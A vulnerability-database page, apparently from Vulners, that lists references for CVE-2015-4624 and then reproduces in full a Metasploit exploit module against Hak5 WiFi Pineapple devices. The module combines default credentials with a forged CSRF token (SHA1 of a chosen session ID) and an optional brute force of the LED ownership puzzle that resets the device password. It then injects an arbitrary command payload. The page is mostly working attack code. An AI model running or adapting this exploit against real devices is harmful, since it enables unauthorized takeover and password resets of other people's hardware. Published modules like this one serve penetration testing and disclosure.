| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Hak5 WiFi Pineapple Preconfiguration Command Injection 2 | 19 Oct 201600:00 | – | zdt | |
| CVE-2015-4624 | 20 Oct 201600:00 | – | circl | |
| Hak5 WiFi Pineapple Pre-Configured Command Injection Vulnerability | 5 Apr 201700:00 | – | cnvd | |
| CVE-2015-4624 | 31 Mar 201715:00 | – | cve | |
| CVE-2015-4624 | 31 Mar 201715:00 | – | cvelist | |
| Hak5 WiFi Pineapple Preconfiguration Command Injection | 7 Sep 201600:22 | – | metasploit | |
| Hak5 WiFi Pineapple Preconfiguration Command Injection | 7 Sep 201600:18 | – | metasploit | |
| CVE-2015-4624 | 31 Mar 201716:59 | – | nvd | |
| WiFi Pineapple Predictable CSRF Token | 12 Aug 201500:00 | – | packetstorm | |
| Hak5 WiFi Pineapple Preconfiguration Command Injection 2 | 19 Oct 201600:00 | – | packetstorm |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
known password if successful and may interrupt the user experience. These devices may typically be identified
by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
worm.
},
'Author' => ['catatonicprime'],
'License' => MSF_LICENSE,
'References' => [[ 'CVE', '2015-4624' ]],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python netcat telnet'
}
},
'Targets' => [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 1 2015'
))
register_options(
[
OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]),
OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]),
OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]),
OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
Opt::RPORT(1471),
Opt::RHOST('172.16.42.1')
]
)
register_advanced_options(
[
OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]),
OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ])
]
)
deregister_options(
'ContextInformationFile',
'DOMAIN',
'DigestAuthIIS',
'EnableContextEncoding',
'FingerprintCheck',
'HttpClientTimeout',
'NTLM::SendLM',
'NTLM::SendNTLM',
'NTLM::SendSPN',
'NTLM::UseLMKey',
'NTLM::UseNTLM2_session',
'NTLM::UseNTLMv2',
'SSL',
'SSLVersion',
'VERBOSE',
'WORKSPACE',
'WfsDelay',
'Proxies',
'VHOST'
)
end
def login_uri
normalize_uri('includes', 'api', 'login.php')
end
def brute_uri
normalize_uri("/?action=verify_pineapple")
end
def set_password_uri
normalize_uri("/?action=set_password")
end
def phpsessid
datastore['PHPSESSID']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def cookie
"PHPSESSID=#{phpsessid}"
end
def csrf_token
Digest::SHA1.hexdigest datastore['PHPSESSID']
end
def use_brute
datastore['BruteForce']
end
def use_brute_tries
datastore['BruteForceTries']
end
def login
# Create a request to login with the specified credentials.
res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'vars_post' => {
'username' => username,
'password' => password,
'login' => "" # Merely indicates to the pineapple that we'd like to login.
},
'headers' => {
'Cookie' => cookie
}
)
return nil unless res
# Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages
return res if res.code == 302 && (res.body !~ /invalid username/)
# Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success
return res if res.code == 200 && (res.body =~ /Invalid CSRF/)
nil
end
def cmd_inject(cmd)
res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'cookie' => cookie,
'vars_get' => {
'execute' => "" # Presence triggers command execution
},
'vars_post' => {
'_csrfToken' => csrf_token,
'commands' => cmd
}
)
res
end
def brute_force
print_status('Beginning brute forcing...')
# Attempt to get a new session cookie with an LED puzzle tied to it.
res = send_request_cgi(
'method' => 'GET',
'uri' => brute_uri
)
# Confirm the response indicates there is a puzzle to be solved.
if !res || !(res.code == 200) || res.body !~ /own this pineapple/
print_status('Brute forcing not available...')
return nil
end
cookies = res.get_cookies
counter = 0
while use_brute_tries.zero? || counter < use_brute_tries
print_status("Try #{counter}...") if (counter % 5).zero?
counter += 1
res = send_request_cgi(
'method' => 'POST',
'uri' => brute_uri,
'cookie' => cookies,
'vars_post' => {
'green' => 'on',
'amber' => 'on',
'blue' => 'on',
'red' => 'on',
'verify_pineapple' => 'Continue'
}
)
if res && res.code == 200 && res.body =~ /set_password/
print_status('Successfully solved puzzle!')
return write_password(cookies)
end
end
print_warning("Failed to brute force puzzle in #{counter} tries...")
nil
end
def write_password(cookies)
print_status("Attempting to set password to: #{password}")
res = send_request_cgi(
'method' => 'POST',
'uri' => set_password_uri,
'cookie' => cookies,
'vars_post' => {
'password' => password,
'password2' => password,
'eula' => 1,
'sw_license' => 1,
'set_password' => 'Set Password'
}
)
if res && res.code == 200 && res.body =~ /success/
print_status('Successfully set password!')
return res
end
print_warning('Failed to set password')
nil
end
def check
loggedin = login
unless loggedin
brutecheck = send_request_cgi(
'method' => 'GET',
'uri' => brute_uri
)
return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/
return Exploit::CheckCode::Vulnerable
end
cmd_success = cmd_inject("echo")
return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/
Exploit::CheckCode::Safe
end
def exploit
print_status('Logging in with credentials...')
loggedin = login
if !loggedin && use_brute
brute_force
loggedin = login
end
unless loggedin
fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
end
print_status('Executing payload...')
cmd_inject("#{payload.encoded}")
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation